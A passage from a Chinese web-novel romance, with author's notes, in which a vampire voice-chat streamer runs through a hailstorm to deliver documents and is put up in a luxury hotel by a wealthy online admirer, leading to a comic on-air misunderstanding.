宁尔不太懂什么新星榜红人榜,但他懂米。 多一米,就离傅人类的那颗蓝宝石更近一些,就离回家更近一些。 嗷嗷嗷嗷。 宁尔兴奋地忍不住在心里鬼叫。 今天天气的确不好,就像元之说得,从下午就已经开始下大雨了。 宁尔的出租屋隔音很差,豆大的雨滴打在窗户上,一片嘈杂声,在麦里都能隐约听到。 宁尔上麦打过招呼之后,很温馨地提示大家A市今晚是大雨转暴雨,四级大风,叮嘱大家早点回家,远离危险区域。 出于真正的担心,宁尔的语气比平时多了几分认真,少了几分夹子,结果一说完,评论区忽然又开始讨论他的声音了。 [是我的错觉吗?小耳朵今天的声音怎么更好听了!!] [我也觉得!!好像停顿感更顺畅了。] 小耳朵以前说话声音好听是好听,但总是会有些奇怪地停顿断句。 仿佛在一步步驯化嗓子。 [是因为在学天气预报播报吧!] [对对对,认真的样子更好听更可爱了] [出录制铃声吗耳朵老师] [啊啊啊同求!我出100朵玫瑰花要专属起床铃声!] [我也要我也要] [想要xxx考试加油的专属!] [要什么礼物才能拥有啊其实我早就想要了] 定制专属语音,一般声音特别好听的大主播才会偶尔接的商单,通常要价不菲。 一方面是想要录好一条比较浪费时间,另一方面是物以稀为贵,就像明星的签名或者合影一样,如果人人都有,也会影响主播的人气度。 亲亲小耳朵:“什么是专属录制铃声呀?” 宁尔刚一头雾水地问完,春风就紧急给他发了一条私信: [别接!!!] 三个感叹号。 宁尔没敢出声,春风打开麦: “不好意思啊宝宝们,小耳朵最近刚开播,其他时间都在准备才艺,暂时不考虑接这个录制。以后有机会给大家录哈~” [呜呜呜小耳朵不接太可惜啦] [小耳朵要是被春风哥威胁了就咳嗽两声] [没事儿耳宝风里雨里我们等你] [真的不考虑吗qwq价格可以商量哇] 5号麦流浪小皮很有眼力劲儿地帮腔: “小耳朵不接小皮接,欢迎各位老板下单。1288,买不了吃亏买不了上当,专属声音带回家~” 1288,这么贵。 小耳朵一听在心里暗暗惊讶。 [小皮你是不是拼好饭吃多了] 一个5号的铁粉毫不留情戳穿他。 [主包你自己先砍一刀] 流浪小皮:“好说好说,都是我的粉丝,砍一刀,288!” “……” 然后还真的有三个粉丝给他刷了热气球。 麦毕竟还在宁尔这里,评论区还有说想让他接的,说什么真的很想得到他的祝福。 哪怕是288都有这么多人想要,看来观众们真的很喜欢这个。 “宝们,我之前确实不了解这是什么,可能也录得不太好。你们等我学一学了解一下,一定会给大家答复的。” 宁尔很真诚地对着麦说。 [嗯嗯嗯没关系等你宝] [是的是的,你慢慢学,我慢慢存钱] [大家别把价格顶太高了学生党不容易球球了] [追语音房的动力+10086] [我也在A市,这样的大雨天最适合听故事了,小耳朵可以讲个故事吗] 宁尔一看讲故事,眼睛一亮,刚说了几句,手机就被强制插进来一个微信电话。 宁尔一看,靳伟。 宁尔接起来,靳伟语气很急: “宁尔,陈元之怎么不接电话?” “他应该在睡觉,伟哥有事吗?” “我有非常重要的东西落家里了,现在来不及回去取,让他帮我送!” “伟哥你别急,元之他昨晚没睡好,还他吃了助眠药,我怕他暂时醒不来,我去叫……” “伟哥,要不我去送吧?” 外面下着下雨,元之睡得那么熟,他还有起床气。等他醒来赶过去估计会浪费很久时间。 靳伟愣了一下: “你、你行吗?” 幸好是晚上。 “我行。你发给我地址,我马上去。” “好。你现在立马先叫个车,按照导航过来。雨很大,记得带伞。” 宁尔去元之房间里找到靳伟要的东西,看着他发的位置,不由地倒吸了一口凉气。 盛景集团。 傅人类·蓝宝石的主人·靳伟上司的上司的上司的地盘。 宁尔不由地有些紧张兴奋,拿了把伞,带上黑框眼镜、帽子口罩,衣服都没来得及换就出门了。 他边走边在语音房解释: “抱歉宝们,我需要立刻去给朋友送个东西,等回来才能和宝们继续聊” [你要出门??] [不是吧小耳朵?现在在下大暴雨啊!路上狗都没有了!] [非得现在送吗?全身都会淋湿的。] [现在出门连车都叫不到啊,写字楼这边都排了300多位了。] “嗯嗯,是我很重要的朋友、很重要的东西。一会儿见啦宝们。” 宁尔说完果断退出了直播间,他提前按照靳伟叫他的方法叫了车,果然,空无一车。 宁尔把靳伟要的东西用塑料袋装着防雨,把塑料袋紧紧抱在胸前,一手撑着伞,但很快全身已经被风吹来的雨淋湿了。 夏日的雨天气温蒸腾大雾四散,廉价出租屋前道路泥雨泛起,远处高楼大厦的霓红灯光在雨幕中晕染,将整座城市吞没在一片迷离的幻光里。 三分钟,任何车辆接单。 宁尔打开了导航距离位置,不到10公里。 暴雨天的十公里对于人类来说太难了。 宁尔身体站得笔直,深深地望了一眼空无一人的马路,面无表情地收起伞,任由雨水瞬间将浑身浇透。 可他,是吸血鬼。 暗夜中的顶级掠食者, 月色下的兴奋狩猎者, 鲜血与奔跑让他兴奋—— “咚” 一块小小的东西从天而降砸到了宁尔的脑袋上。 宁尔伸手一摸,冰块。 紧接着,越来越多的小冰块从天而降。 “……” 啊啊啊啊。 宁尔再度把伞撑开顶在脑袋上,闪电一样狼狈地窜了出去。 不到10分钟,宁尔就跑到了盛景集团的地下车库附近。 他撑着伞,脑袋倒是没有被冰块砸坏,只是浑身全部湿透了,像一只落汤鸡一样往下滴水,黑框眼镜片上满是白气,鞋底原本沾满了泥泞,又在暴雨的冲刷下变干净了。 宁尔身体有些微微颤抖,地库里冷气很足,他打了个哆嗦,勉强把手擦开,打开手机才看到舟先生几分钟前的消息。 [今天怎么没有直播?] [是不是出什么事了?] 宁尔擦了擦手上的水渍打字: [没事没事,我很好哥哥,朋友忘带东西了,我帮他来送一下。] 舟先生很快回复: [你别动,我派车去接你。] 舟先生的果决和解决事情的能力让宁尔感动了一下: [不用啦哥哥,我已经到啦。] [外面暴雨加冰雹,你那里大概率叫不到车,怎么到的?] 这都能猜到吗…… 宁尔有些心虚地打字: [反正、反正就是到了。] 舟先生:[什么朋友,要求你这种天气出去送东西?] 舟先生虽然没有再追问他到底怎么到的,但宁尔隐约感觉到,他好像有点生气了。 [是工作需要的东西哦,很重要的。] [他的领导很凶的,如果没有,可能会被批评或者开除哦。] 舟先生:[……什么领导也应该有最基本的人性。] 舟先生:[为什么不能给我打电话寻求帮助?你知道A市暴雨天气出过几次人命么?] 真的有点生气了。 宁尔皱着眉头看着舟先生的质问,一时间不知道该怎么回复。 [男朋友?]舟先生接着问。 亲亲小耳朵:[……男性、雄性朋友。] [不说啦舟先生,我先送完再回你。] 宁尔趁舟先生更生气前溜走了。 他按照靳伟的指示穿梭在诺大的地库里,终于在一堆英文字母里找到了靳伟。 靳伟从一辆车上下来,脸色急得不行,宁尔赶紧把东西递给他,靳伟重重地松了口气: “谢谢,谢谢尔尔。” “傅总只有今晚有空听汇报,朱总的汇报材料和证件都混在这儿了,今天拿不到我就完了,朱总也完了。” 宁尔看到靳伟向来从容的英俊脸庞此刻白得吓人,估计是真吓到了。 “没事,现在拿到了。”宁尔安慰他。 “我靠,你都湿成这样了,不会是跑来的吧?”靳伟皱着眉,看着宁尔的样子仿佛有些懊悔。 宁尔摇摇头,不说话。 靳伟没空再和他多说,伸手重重拍了拍宁尔的肩膀。 “你等会儿从这个电梯上去去大厅叫车,这边是市中心繁华好叫车,叫不到就叫豪华车,别担心钱。回家之后好好洗个热水澡,我晚点带药回去给你冲着喝。” 靳伟没来得及多说更多,一个人西装革履的男人就行色匆匆往这边走,估计是他的朱总。 靳伟赶紧一按宁尔的脑袋让他蹲在车后。 “伟哥,这里就是傅宴舟傅总的大楼吗?” 添如乱。 靳伟看了他一眼: “是。但他马上就来,盛景安保极其严格,不允许任何陌生人进去,你还是我托朱总打过招呼的。你乘最右的电梯上楼,千万别乱跑。” “哦哦哦。” 宁尔被靳伟轻轻一推,他自己去迎朱总,宁尔猫着腰小心翼翼地往电梯边走去。 大大小小的冰雹砸得他好像确实有点发晕,他全身湿得仍在往下滴水,地下车库的冷气很快让他湿着的衣服冷冰冰地贴在了身上,冻得宁尔打了个哆嗦。 伞骨已经都坏掉了,外面的冰雹好像还没有停,只能乖乖叫车回去了。 地库昏暗的灯光和空荡的回音让宁尔有些害怕,他用双臂环抱住自己,浑身被雨水长时间浸泡过后皮肤发胀,拖着沉重的脚步越来越慢走向电梯。 他伸出手指按了“↑”。 这个傅人类,真的好厉害啊。 能把靳伟吓成这样,还能在车库里安装这么多电梯。 宁尔把帽檐压低,帽子里的水顺着发梢再度淌下,两只眼镜片上蒙着厚厚的白雾,口罩早就湿得不能再戴。 “叮”地一声,电梯停下门打开,宁尔正想低着头往进走,却猛然看见几双精致锃亮的皮鞋。 完蛋,遇到人了。 宁尔愣了一下,头都没敢抬,急中生智把身子更弯下一点,含糊地说了一句: “对不起”就赶紧往右跑了。 直到最右侧一个不起眼的电梯门也打开,宁尔才意识到是自己走错了。 他赶紧钻进电梯按下关门键,与此同时发消息给舟先生: [舟先生,我送完啦,很顺利哦,我的朋友没有被老板批评,还给了我一把新伞、帮我叫了返程的车,你不要担心了哦~] 右侧的电梯缓缓上升,被按开电梯门的傅宴舟却示意正要关门的肖特助暂停。 肖特助手指放在开门键上,不悦地扭头看下级。 下级蹙眉看着这个三级公司上来说有重要工作汇报的朱庸,示意他自己解释。 朱庸满脑袋汗,根本不敢看傅宴舟,低着脑袋解释道: “肖总……不好意思,刚刚那个男孩是来找我司机的。他们是朋友,住在一起,给他送一份重要的私人物品,只能找到这儿了。” “只送到了地下车库,信息也都做了备案,肖总您放心我保证没有下次下不为例……” 傅宴舟耳朵里似乎没再听他的话,盯着电梯门口一朵跌落的仅剩几片花瓣的残败玫瑰出神。 他缓缓蹲下身,伸手,捡起那半朵玫瑰。 玫瑰上沾满了水渍,是从刚刚那个浑身淋过雨的男孩身上淌下来的。 傅宴舟没看到他的脸,只看到他抱着双臂裹紧衬衫浑身湿透的瑟缩背影。 电梯里的几个副总高管没敢接茬,肖特助小声开口: “朱总对盛景的安全管理条例学习有待加强,这样的人以后绝不会……” 傅宴舟反手将玫瑰藏在手中,短暂地失神后恢复如常,目光被金丝眼镜阻隔让人看不出情绪。 “去给那个男孩送一把伞,换一件干净的外套。” 电梯门再度合上,手机里那个假装自己很好的男孩和刚刚瑟缩畏惧的背影莫名合二为一,忙碌了一天神经紧绷的傅宴舟打开对话框: [抱歉刚才有点凶。] [我忽然,很想你。]—— 作者有话说: 也是给咱小情侣又差点偶遇上。 舞蹈视频那段一直锁,把描写都删了 第26章 舟先生给我开房啦…… 宁尔浑身湿漉漉地躲在卫生间隔间里, 蹲在上轻轻发抖。 看到舟先生忽如其来的这句话,忍不住鼻子有些泛酸。 A市市中心的大楼好高好大啊。 地面亮得能照到鬼的影子,卫生间单独的隔间都很大, 甚至都散发着好闻的香气。 伟哥说得对, 盛景大楼的安保的确很严格。 宁尔从刚刚按电梯不小心被遇到那几个人之后, 好像就被人跟上了。 所以他不得不藏在卫生间里,一点儿声音都不敢发出。 也不知道被抓到了会怎么样。 舟先生说他也在A市中心的大楼里办公, 平时他也会西装革履严肃地进出这种大楼吗? 此刻的舟先生, 能想象到他其实正阴暗地躲在大楼的卫生间里发抖吗…… 宁尔轻轻地在键盘上敲字: [哥哥, 你在干嘛呀~] 舟先生很快回复: [要听一个汇报会, 很快。] 宁尔:[还在公司里吗?] 舟先生:[嗯, 怎么了?你到底回去了么?] 宁尔轻轻地吸了一口气,舟先生真的也在这些高楼里。 虽然和他不是同一栋, 但距离范围已经很近了。 电梯升降的瞬间,除去这些坚硬的泥砖钢筋,他和舟先生在这座城市中心的霓虹闪烁下某一刻站在了真正的平行空间。 和那夜黑影里忽然出现抱着他的陌生男人一样奇妙。 宁尔:[没什么哥哥,真的回去了。我洗个澡晚点开播。] 宁尔走出卫生间,出了大楼望向面前的几栋高楼, 看着雨雾朦胧中地面上没有完全融化的冰雹,夏夜冷风吹过,想到舟先生那句“忽然很想你”,宁尔又拿出手机打字。 他想像往常一样发一些萌萌抱抱表情包,然后说“我一直都很想你呀哥哥” 或者再骗骗一点, 说:“想我今晚会在直播间守护我吗哥哥~” 但话到嘴边, 最终却不知不觉变成: [舟先生,我此刻好像,也有点想你。]- 市中心的确比较好叫车, 宁尔乘车回到出租屋附近,就见一辆长长的豪华汽车停在了楼门前,车外站着一个穿着西装马甲戴着白手套打着伞的男人。 宁尔第一反应是刚刚电梯里的人追来了。 他下意识撒腿就想跑。 不对不对,傅人类,应该不会那么小心眼叭…… 宁尔小心翼翼走过去,看一眼,又看一眼。 与此同时,“甜蜜恋爱来电啦~甜蜜恋爱来电啦~”。 专属铃声响起,宁尔在白手套的注视下硬着头皮接起电话: “喂,舟先生……” “麻烦你现在出门,门口有辆接你的黑色的汽车在等你,送你去酒店。你需要好好洗个热水澡。” 宁尔感觉自己的脑子嗡地一声,苍白的脸瞬间憋红起来,这句话在他耳朵里只有“***等你***去酒店***洗澡***”。 舟先生终于还是忍不住露出狼爪了吗…… “馋你身子” “想睡你” “网恋的尽头是奔现,奔现的地方是酒店” 元之、抹茶小方、春风哥说过的话一句句飘在脑子里,宁尔捂住话筒,转过身颤着声音小声道: “舟先生……我、我不馋、不对,你别睡……不是,我、我已经洗过澡了,其实,其实我现在已经睡着了。” 上次他也是这样当着舟先生骗元之的。 舟先生那边沉默了一小下: “你淋了雨需要泡热水澡,现在所居住的房型里大概率没有浴缸。这个司机我并不认识,并且我可以保证全程不会有人泄露任何你的真实照片。” “至于我,不会出现在你酒店5公里以内的地方。不放心的话,可以邀请你的朋友同去或者全程报备。” 舟先生没有一点儿被误会的生气,反而耐着脾气娓娓道来。 宁尔紧张地心放松下来,有些尴尬道: “啊……好,好的哥哥……我还以为……” 舟先生在电话那边笑了一下: “以为什么?” 宁尔闭紧了嘴巴。 舟先生没有再追问,告诉他先忙一会儿就挂了电话。 宁尔直接跟着司机上了车,礼貌地和他道谢,司机也半鞠躬,帮他拉开车之后就认真开车。 宁尔本来有些担心和陌生人类在一辆车上不知道说什么,幸好司机也没有说任何话,让宁尔的压力尴尬少了许多。 也不知道是不是舟先生特意交待的。 下车之前宁尔和司机要了一只口罩重新戴起来,一路被人带着没有问任何问题就来到了一个独立的小洋楼房间。 宁尔刚到人类世界的时候也想过开房间住酒店,可惜因为没有身份证都被赶出来了。 后来有一次靳伟把自己的身份证借给他,一口咬定那就是宁尔,让他带着眼镜帽子蒙混过关。 结果差点被招待所的老板报警抓起来。 辛酸的往事涌上心头,宁尔不由得撇了撇小嘴。 舟先生真的太神通广大了。 去医院不要身份证。 住酒店不要身份证。 难道舟先生是……人类的身份证证长? 宁尔被漂亮姐姐带到房间门口后她就走了,门一打开,宁尔忍不住“哇”了一声出来。 整个房间里像一座白色的城堡一样,诺大的水晶灯吊着层层叠叠的珠帘,天鹅绒帷幔随着风轻轻摆动,雕花壁炉里跃动着装饰的火焰。 这简直……这简直…… 宁尔在门口小心翼翼脱掉鞋子,一往里走墙上的连条灯竟然随着他的脚步亮了起来。 宁尔吓了一跳,往窗边一躲,外层窗帘竟然缓缓自动拉了起来。 宁尔赶紧又远离窗帘,脚下一空不小心闪进了一间开着门的卫生间,马桶盖像吃人的河蚌一样缓缓打开盖子。 啊啊啊啊啊。 有鬼呀。 宁尔吓得一头钻进了一间衣帽间,蹲在柜子里颤抖着给舟先生发消息: [舟先生,酒店里有、有……鬼!] 舟先生很快回复:[?] 宁尔:[呜呜呜,有鬼打开了房间的灯、拉上了窗帘、打开了马桶盖,超级超级可怕的!我现在躲起来了……] 舟先生:[哦……这么可怕啊。] 宁尔:[舟先生我没有说谎呜呜呜,你相信我你相信我吖~~] 舟先生:[嗯,我信。] [需要我现在去救你么?] [选我,还是选鬼?]。 宁尔看着屏幕,冷静了下来。 感受到了他的沉默,过了一会儿舟先生又发消息过来: [那些是酒店的智能系统。] [这个世界上没有鬼。] 宁尔从衣帽间里爬出来,“嬉皮笑脸”地和舟先生发消息道谢,果然,没再理他。 宁尔胆子慢慢大了起来,一点点探索着一间套一间的超大房间,直到走到最大的一间卧室时候发现床上放着一套崭新的运动衣,旁边放着一件白色真丝睡袍。 宁尔又往对面走去,一间比他出租房房间还要大的卫生间,里面圆圆的浴缸里已经盛满了水,水花在漂亮的雕花浴缸里泛着淡淡的蓝色。 浴缸很大,甚至可以同时容纳两个人。 整个房间弥漫着一种令鬼安心的微乎其微的幽香,墙上有一个画着音符的按钮,宁尔一按,舒缓的钢琴曲不知道从哪个地方飘了出来。 浴缸旁边甚至还专门放置了一只桌子,桌子上放着一些奶酪、火腿和一杯红酒。 这些,都是他可以享用的吗? 宁尔回卧室把自己全身都扒光,再次站在漂亮的浴缸边,犹豫着要不要抬起腿迈进去。 他从来没有洗过热水澡。 血族喜好阴冷、潮湿、黑暗,畏惧阳光,厌恶一切温热感。 会是什么感觉呢? 他低垂脑袋,抬起右腿,赤着脚尖轻轻踩进去试探水温。 水温并不算高,温热的涌动感瞬间包裹住整条光洁白皙的小腿,宁尔险些没站稳。 这是一种从未有过的奇异感觉。 宁尔下意识想抽走腿,最终却咬了咬嘴唇,轻轻闭上眼,整个人钻进了浴缸。 温热的水流迅速没到脖颈处,浑身被包裹压抑的触感让宁尔忍不住身体发颤,闭着的眼睛睫毛翕动,牙关节轻轻发抖。 适应了一会儿之后,宁尔睁开眼,浸泡在热水中的每一寸皮肤都被烫得微微泛红。 他尽量克制住心中的恐惧,尽管还有些燥热,但在温水中身体放松轻盈感让宁尔觉得很新鲜。 宁尔像鸭子一样在水中扑腾了一会儿胳膊,又欢快地扑腾了一会儿腿。 他发现同时扑腾的时候,整个人还能移动。 真好玩。 水里也不知道加了什么东西,浸泡过的皮肤变得滑滑嫩嫩的。 真会享受啊,人。 宁尔彻底放松了下来,刚才被雨淋被冰雹砸的疲惫仿佛一扫而光。 宁尔把手擦干净,从一旁拿出手机打开了缘来app,伸手的时候还趁机端起来那杯红酒嘬了一口。 微辣。 但不如他的舞蹈辣。 已经快12点了,观众们都以为小耳朵可能不会来的时候,就看到了他的上麦通知。 宁尔的头像出现在四号位上,评论区立马唰唰唰都在关心他。 [小耳朵你回去了吗] [东西顺利送到了吗] [你朋友一定很感动吧,这个天气真的是过命的交情了] [淋过雨的话记得洗热水澡] 一大堆关心的问题像宁尔飞来,他看都看不过来。 自从开始在语音房直播之后,他的生活好像不再是自己闷头乱活,而且每一个行为每一次危险都有一大群人记挂着。 无论一天发生了什么苦事累事,到了夜里都会有一群人等着聊天、倾诉。 宁尔清了清嗓子开麦: “谢谢宝们,让宝们担心啦~我已经顺利把东西送去给朋友了。他不用担心被老板批判或者开除啦~” [什么朋友啊小耳朵?] [你们住在一起吗?] [是男生吗?眨眼/眨眼/] [我也想拥有小耳朵这样的朋友。我们宿舍关系不好,前两天一个室友因为外放打游戏被另一个室友把鼻梁骨打断了。流泪/流泪/] 朋友的话题立刻引发了评论区的各种讨论,宁尔津津有味吃瓜,边吃边小口喝着红酒吃着奶酪。 看了一会儿才回答: “他是男生。是我在人……人群中遇到的最好的朋友。我们一起遇到过很多困难,但没有放弃彼此,一起度过了那段最艰难的日子……” [哇……这真是好哥们儿了] [同甘苦,共患难] [等等,怎么感觉有点好磕呢……] [???楼上不要乱磕啊,小耳朵是粥哥的!!] [粥哥是谁啊?] 新来的。 评论区又讨论了一会儿,宁尔现在已经见怪不怪了,只觉得她们乱七八糟的猜测很可爱。 他看到左边浴池上还放着一个漂亮的紫色甜甜圈,外面裹着一层白砂糖霜,拿起来闻了闻,虽然不知道是不是吃的,但是很香。 应该是吧。 宁尔张嘴,大大地沿着边缘咬了一口。 黏腻的感觉很快掩盖了香味,腻得宁尔赶紧tuituitui吐了出去。 不是甜甜圈! 他正被腻地龇牙咧嘴,拿起红酒来咕噜咕噜,就看到评论区忽然又人问: [小耳朵今天麦里的声音怎么这么空旷呀?好像听着和以前不一样。] [是的,感觉在一个很大的空间。] [还没回家吗小耳朵?] [该不会是找了快餐店给我们开播吧?还在下雨啊赶紧先回去啊小耳朵。] 眼看评论区立马又猜测担心起来他,宁尔赶紧把嘴巴里的红酒咽了下去。 长时间的浸泡让他的身体渐渐恢复燥热,酒精辣辣的微醺感在口腔蔓延,脑袋似乎有些发晕,屏幕上的字稍稍有些模糊,宁尔打开麦: “是呀~我今天没有回家~舟先生给我开房啦!” “嗯呜……” “明明水变冷了,身体怎么越来越热了……嘴巴里……” “舟先生……” “啊” “呜……我、我好像吐泡泡了……”—— 作者有话说: 宝宝你知道这几句会让大家脑补出什么吗…… btw宁尔对热极其敏感这个特点让我太期待以后和傅宴舟在一起的某些场景了…… 第27章 傅宴舟是我在世界上最想…… [是我疯了还是小耳朵疯了?] [这样的时候……还要播吗?] [啊啊啊啊这是能播的吗啊啊啊啊] [小耳朵粥哥你俩是真不避人啊……] [纯情女大小脸一红(huang)] [啊啊啊我们也是py的一环吗啊啊啊好兴奋好变态] [不应该在车底我应该在车里] [到底在做什么为什么会吐泡泡~] 温馨的深夜语音房一瞬间化身跑跑卡丁车栽着一车花园宝宝驶上高速, 猝不及防。 春风紧急用房主权限把小耳朵的麦关了,流浪小皮配合地放了超级大声的音乐,春风压着嗓子问宁尔: “小耳朵, 你在说什么?” 宁尔痴呆地看着炸锅了一样的评论区, 整个人也懵住了。 他、他没有说什么啊。 不过很快宁尔就根据评论区的话猜到什么了…… 他弱弱地问: “宝们, 我是说,舟先生给我开房啦!给。” [我靠我就觉得是“给”我没听错!] [谁先误导说“跟”的啊?] [哈哈哈哈我也隐约觉得是“给”, 但你们都这个反应我就觉得自己听错了。] “舟先生跟我开房了……” 宁尔小声重复了一遍她们的空耳, 说完立马吓得满脸通红。 什么。 什么。 大家怎么会认为他正在和舟先生开房……这、这…… 如果是被误会在先, 联想到刚刚自己那几句话, 还是在直播间上万人的注视下, 宁尔脸红得几乎要滴血,恨不得把脑袋扎进浴缸里把自己淹死。 “我、我……” 此刻的手机就像一个烫手的火把一样, 宁尔从浴池里坐起来脑袋埋得低低的,羞得话都要说不出来了。 春风接过话茬:“哎哎哎听错了家人们,人家小耳朵说得是给,不是跟。是不是因为你刚刚出去给朋友送东西淋了雨,你家又没有浴缸, 粥哥怕你感冒,帮你开了个房让你泡澡,对吗?” 亲亲小耳朵:“嗯嗯嗯!” 春风:“开得是豪华酒店的套间?好几个房间那种?” 亲亲小耳朵:“嗯嗯嗯!” 春风:“你在里间,粥哥在外间?” 亲亲小耳朵:“嗯……嗯??” 小耳朵害羞疑惑又委屈的声音传来,春风这个坏蛋在麦上和其他人一起哈哈哈笑了一会儿, 打圆场: “行了, 这个话题到此为止,别把我语音房一会儿干封了。” 房主官方带头终结话题,观众粉丝们也识趣地不再起哄。 [听起来虽然离谱, 但发生在小耳朵身上十分合理了] [也只有小耳朵敢这么真实了] [哈哈哈哈喜欢他就是喜欢他的真实啊] [是啊是啊,有的主播真的满口跑火车,撒一个谎用一百个谎圆,听着都累。] [小耳朵说的包真的] [我觉得粥哥也不会是那种人。] [同意!粥老板出手那么大方,就算面基也会正式点先吃个饭什么的吧。] [粥哥在吗?] [粥哥在吗?] [好像没看到进来。] 舟先生的等级很高,每次进房间都会自带一个超级跑车的特效,今天好像确实没来。 [小耳朵,好奇你住得是哪家酒店呀?] [同好奇+1] [搞不好和小耳朵住过同一家呢] 哪家酒店…… 宁尔进来的时候车直接停在了门口,他还真没注意过名字。 宁尔拿起来一条精致地印着图案的毛巾,认真看着: “好像没有写名字。有一个图案,像是,像是一座山。” [不会吧?确定没有字吗?] [是不是英文名?小耳朵认识英文吗?] [那我考考你……] [不会是澜·峰系列吧??是不是只有一座山?] [澜·峰是什么酒店?] [几星级?和香格里拉比哪个好啊?咱就知道香格里拉] [小耳朵我私信你了你看是不是这个?] 宁尔打开图片,一样的山峰图案。 “是的图片宝。” [!!!就是澜·峰,我靠,小耳朵,粥哥对你真的很舍得啊啊啊!] 评论区很多开始问澜·峰是什么,有什么特殊的吗,小耳朵直接把这个很懂的图片宝抬到了麦上。 图片宝是一个女生,她看着评论区给大家讲到: “澜·峰是一个以家以设计感和意境为主的全球连锁高奢酒店,数量不多,其核心理念是‘一地一灵魂,将建筑、设计与在地文化完美融合,格外注重环保与自然,每一家分馆都是独特的艺术品,从材质到光影,从空间布局到细节装饰。酒店不仅提供极致的奢华体验,更强调沉浸式的艺术氛围——是流动展馆、更是艺术盛宴。” 宁尔都听呆了,不由地和评论区一起感慨: “宝,你好厉害呀……” 女生不好意思笑了笑:“没有啦,我在念百度百科。” “不过这家酒店在A市的单价,最便宜的房型都要3w起,你住得如果是套间,那大概率得10w+一晚上了。而且这家酒店房间很少,预约都是熟客会员制。” [10w一晚上去泡个澡……] [天呐这就是有钱人的世界吗] [手机爹给我干哪个圈子里了] [能不能把我调回穷人频道] [小耳朵记得走时候宝护肤品什么都带走啊啊啊] 宁尔也惊呆了,现在已经半夜1点多了,他不太能见阳光,所以天亮之前必须离开。也就是说,自己每个小时都会消耗掉几万块…… 评论区都在问这个女生怎么这么熟这个酒店,女生也没藏着掖着,大方道: “我自己是学设计的嘛,几年前去佛罗伦萨的时候狠心住过一晚啦。” [我靠,大姐!失敬失敬] [咱们语音房的观众都这么藏龙卧虎吗] [今天起你就是语音房的新大姐] [谁家西施跑出来了我先关注了] 语音房的评论区永远能开着玩笑把情绪价值拉满,女生啧啧了两声感慨了一下,最后还补充道: “对了,这个酒店的官方logo就是没有名字的一座山峰图案,是当年创始人傅宴舟为了致敬他的企业家父亲,取用了他名字中的‘峰’字。” 宁尔手中的红酒杯险些摔碎。 “谁?” 他问。 “傅宴舟。小耳朵你不会不知道他吧?”女生重复了一遍。 [那个A市隐形首富傅宴舟?] [传说中万千女生的做梦素材] [他简直是里的霸总本总。] [视频网站好多拉郎剪辑视频霸总都直接用他的采访视频,比演霸总的明星都有帅] 她们讨论起傅宴舟先生时候一言一语完全停不下来,好像很了解他。 果然就像靳伟说得一样,傅宴舟是一个很受人喜欢的大人物。 “傅宴舟先生……舟先生……” 宁尔小小声地在麦里低语。 [不不不耳宝别乱想哈,那个“舟”不是你的这个“粥”先生哈哈哈哈] [对对对,是同音的巧合。] [哪怕不是这家酒店的主人,粥先生能开得起这家酒店的房间也足够证明石粒了!] [姐妹们,万一……我是说万一呢?你们懂我意思?] 评论区很快懂了她的意思,都是一阵“哈哈哈哈” [霸道总裁爱上语音直播间的我?] [首富每天晚上和我蹲同一个语音房?] [不是真敢想啊姐妹们] [别开这个玩笑了吧,毕竟人家算公众人物了] 这个层级的人物早已超越了单纯的商业范畴,他们的头衔、影响力与社会地位往往与政界有着千丝万缕的联系。这样的存在,与普通人的生活实在相距太远,确实不适合在这里多讨论。 春风及时控场把这个话题岔了过去,只有宁尔一个人偷偷发呆。 他抬眼,看着这座如同城堡一样的酒店。 就像吸血鬼城堡的白色版一样,舟先生说得“智能”,比他们吸血鬼的魔法还高级。 宁尔觉得,他好像和这个傅宴舟先生挺有缘分的。 他报完平安之后就退了直播间,立马给舟先生发消息: [哥哥,今天是小耳朵第一次泡热水澡,泡澡好舒服呀~谢谢你。洗澡澡/洗澡澡/] [哥哥,你是不是还没忙完?怎么没有进直播间呀?挥手/挥手/] [哥哥,你是不是和小耳朵生气啦?对手指/对手指/] 宁尔现在已经能脸不红心不跳地直接叫舟先生哥哥了。 手机上弹出亲亲小耳朵的消息,傅宴舟关闭了语音房的直播画面。 观看语音房有两种方式。 一种是直接点进语音房,所有人都能看到进入信息。 另一种是只停留在外部页面,不用进房,也能听到麦上的聊天内容,不过看不到评论区的内容。 傅宴舟开完会之后打开语音房的声音,刚打算进去就听到小耳朵那句“舟先生给我开房啦”。 果然,很快就被误会了。 他那时候进去,误会只会更深。 笨蛋。 过了一会儿舟先生回消息: [生气什么?] 生气选见鬼都不选见你。 小耳朵在心里偷偷念。 但他还是打字:[哥哥没生气就最好啦~开心/开心/] [哥哥,我刚刚才知道,这家酒店是傅宴舟先生的!你是专门选择这家酒店吗?] 冷不丁被cue了名字,傅宴舟眯了眯眼: [不知道,随便定的。] 亲亲小耳朵:[这样啊……] 舟先生:[你认识那个傅宴舟?] 亲亲小耳朵:[摇头/摇头/摆手/摆手/不认识不认识,我也是刚才在评论区看她们说才知道的。他是了不起的大人物,离我……很遥远。] 舟先生:[我记得刚认识时候你说我的“舟”字和一个大人物很像,是他么?] 啊……舟先生还记得。 宁尔咬了咬嘴唇: [是。] 舟先生:[你对他……或者你和他之间有什么其他交集吗?] 好像每次说到“傅宴舟”这三个字的时候,小耳朵都会有格外激动。 屏幕对面傅宴舟本舟仔细回忆了一下,他的记忆里的确不认识一个这样的少年。 宁尔看着舟先生这个问题,脑子里犯了难。 怎么能在不暴露的情况下说清楚呢? 想了一会儿,宁尔在手机上打字: [这么说吧舟先生……] [如果在这个世界上我只能认识一个人类,那就是傅宴舟总裁。]—— 作者有话说: 傅宴舟:心里五味杂陈。 第28章 那件事一直深深地影响着…… …… 傅宴舟看着那句话, 不由地捏了捏眉心,心中有种说不出来的复杂感情。 银耳粥:[你现在有什么机会认识他吗?] [没有。]亲亲小耳朵很诚实。 [如果你这辈子都没有机会认识他呢?] 亲亲小耳朵:[那我就等认识他的孩子。] 银耳粥:[……傅宴舟没有孩子。] 亲亲小耳朵:[那我就去努力认识他的孙子。] 银耳粥:[没有孩子哪来的孙子?] 亲亲小耳朵:[那我就去认识他的父亲。] [……他父亲早就过世了。] [小耳朵,你和他家有仇吗?] 哈哈哈哈哈。 亲亲小耳朵:[哥哥你好幽默呀~没有啦没有啦, 我对傅宴舟总裁没有坏心思哒~只不过原因我暂时可能得保密啦。] 其实宁尔并不是有意隐瞒舟先生, 但是他想要蓝宝石的事情陈元之和靳伟听了都觉得他有神经病, 更别说压根都不相信这个世界上有鬼的舟先生了。 [哥哥,你这么了解, 是不是认识傅宴舟总裁呀?星星眼/星星眼/] 沉默了一会儿, 银耳粥先生回答: [不认识。] 亲亲小耳朵:[叹气/叹气/] 亲亲小耳朵:[也是, 